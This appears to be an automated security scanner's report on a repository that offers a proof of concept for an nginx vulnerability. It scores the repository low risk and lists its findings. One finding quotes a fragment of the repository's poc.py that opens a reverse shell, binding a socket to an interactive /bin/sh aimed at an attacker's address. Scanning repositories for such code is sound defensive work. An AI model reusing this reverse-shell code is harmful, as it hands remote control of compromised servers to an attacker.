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josephfelix/CVE-2026-42945-nginx-rift

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12/100

LOW RISK

Minor findings consistent with the project type. Nothing reachable from install hooks.

verdict accurate?

threat-state: lowlive

FINDINGS ░▒▓

warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.poc.py

            f"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);"
            f"subprocess.call([\"/bin/sh\",\"-i\"])'"
        )
        print(f"[*] Reverse shell → {ip}:{lport}")

infoSuspicious files are not reachable from entry pointsFlagged files exist but are not imported by any entry point. They may be dead code, tests, or attack payloads triggered by another mechanism.+2

warningSingle-commit repositoryThe repository has only one commit. This is common for generated or throwaway malware repos.+3

Scores are heuristics. A “safe” verdict means no known-malicious patterns were found — clever malware can look boring. Wrong verdict? Flag it above; confirmed false positives become regression tests.

5 files scanned @ 1d0d32b | 10/25/2026 | heuristic scan — always review manually

risk by category

code execution6

network & exfiltration0

file system access0

obfuscation0

supply chain3

owasp / injection0

telemetry

files 5/16rules hit 3engine v7commit 1d0d32b

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josephfelix/CVE-2026-42945-nginx-rift

Repository for studying the CVE-2026-42945 vulnerability in nginx < 1.30

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entry (0) flagged (1) pkg (10)

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